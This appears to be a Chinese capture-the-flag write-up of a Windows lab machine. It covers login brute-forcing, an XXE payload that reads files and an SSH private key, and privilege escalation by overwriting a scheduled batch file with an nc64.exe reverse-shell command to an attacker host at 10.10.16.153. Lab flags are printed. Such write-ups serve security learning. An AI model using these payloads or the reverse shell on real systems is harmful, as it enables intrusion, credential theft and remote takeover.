1.主机发现
nmap -v -sV -sC 10.129.95.192
开放了22,80端口和443端口
2.爆破
直接访问80端口,是一个登录页面
bp爆破
可见admin/password是账号和密码
成功登录
3.XXE
在order,contact界面用户可以传入数据,但是contact界面的submit是无效的
抓个包看看
发现提交的数据是xml的格式,所以可能存在XXE的漏洞
构造如下数据
<?xml version = "1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
# 把c:/windows/win.ini的内容放到test里面
<order>
<quantity>
1
</quantity>
<item>
&test;
# 读取test
</item>
<address>sssssss</address></order>
返回了win.ini的内容
我们尝试在⽹⻚的 HTML 代码中找到⼀些重要的东西
找到了一个人名字,这可能是靶机的一个用户,修改一下
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
返回了daniel的私钥
4.ssh连接获取user flag
注意到该靶机开放了22端口,这样就可以直接利用id_rsa登录了
保存秘钥为rsa文件
ssh -i rsa daniel@ip
# 这样他会反映权限太大,有问题
chmod 0600 rsa
# 只有当前用户可读权限
这样就拿到了权限
cd Desktop
type user.txt
# flag{032d2fc8952a8c24e39c8f0ee9918ef7}
5.提权获取root flag
cd C:\
# 到根目录下
dir
注意到Log-Management文件夹,该文件夹在一般windows下是不存在的
cd Log-Management
dir
# 注意到有一个bat文件
type job.bat
# 内容如下
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
现在的想法是借助该bat文件执行一些我们的命令
首先看下权限
icacls job.bat
当前用户是对该文件有读写权限的(F指的是full control)
schtasks
# 查看该job是否在运行
# 或者
powershell
ps
我们可以看到wevtutil 正在运行,这就是job.bat里的exe文件
接下来准备用powershell上传一个nc
下载地址
https://github.com/int0x33/nc.exe/blob/master/nc64.exe
python3 -m http.server 80
# 开启http服务
wget http://10.10.16.153/nc64.exe -outfile nc64.exe
# 下载nc
nc -lnvp 4444
# kali监听4444端口
exit
# 退出powershell
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.153 4444 > C:\Log-Management\job.bat
# 把nc写到bat中,等待执行
成功拿到shell
管理员权限
cd C:\Users\Administrator\Desktop
type root.txt
# flag{f574a3e7650cebd8c39784299cb570f8}